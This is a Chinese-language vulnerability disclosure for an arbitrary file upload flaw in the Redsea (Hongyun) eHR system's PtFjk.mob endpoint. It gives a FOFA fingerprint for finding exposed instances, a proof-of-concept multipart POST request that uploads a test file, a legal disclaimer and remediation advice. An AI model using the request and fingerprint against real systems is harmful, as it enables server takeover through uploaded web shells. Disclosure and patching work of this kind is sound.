免责声明：

        本文内容旨在提供有关特定漏洞或安全漏洞的信息，以帮助用户更好地了解可能存在的风险。公布此类信息的目的在于促进网络安全意识和技术进步，并非出于任何恶意目的。阅读者应该明白，在利用本文提到的漏洞信息或进行相关测试时，可能会违反某些法律法规或服务协议。同时，未经授权地访问系统、网络或应用程序可能导致法律责任或其他严重后果。作者不对读者基于本文内容而产生的任何行为或后果承担责任。读者在使用本文所提供的信息时，必须遵守适用法律法规和相关服务协议，并独自承担所有风险和责任。

产品描述

红海eHR系统，聚焦人力资源管理痛点，打破传统eHR系统各功能模块数据割裂局限，为企业打造数据一体化、流程一体化、终端一体化的智能互联人力资源管理解决方案，构建业务闭环流畅、全局数据贯通、系统高度集成、权限规范可控的一站式人力资源管理数字化平台

漏洞描述

红海云eHR PtFjk.mob 接口存在任意文件上传漏洞，攻击者可以通过漏洞上传任意文件甚至木马文件，从而获取服务器权限。

FOFA

body=“RedseaPlatform”

漏洞复现

POST /RedseaPlatform/PtFjk.mob?method=upload HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.11 (KHTML, like Gecko) Chrome/23.0.1271.64 Safari/537.11
Content-Length: 157
Content-Type: multipart/form-data; boundary=---***
Accept-Encoding: gzip, deflate, br
Connection: close-----***
Content-Disposition: form-data;name="fj_file";  filename="e9DuOa0W.txt"
Content-Type: image/jpegGoS5ezPxhzMhnIQAeeUSJmna2xgAC2p9
-----***--

修复建议

1、对用户上传的文件进行严格的输入验证和过滤。检查文件名和文件类型，确保只允许上传合法的文件，并拒绝上传可执行文件或危险文件。
2、限制上传文件的存储位置和访问权限。确保上传的文件存储在安全的目录中，并设置适当的访问权限，限制对上传文件的执行和访问。
3、使用安全的文件处理函数和API，避免直接执行或包含用户上传的文件。确保在处理用户上传的文件时，使用安全的文件处理函数和API，避免任意文件上传导致的安全风险。

关注公众号，获取更多安全资讯：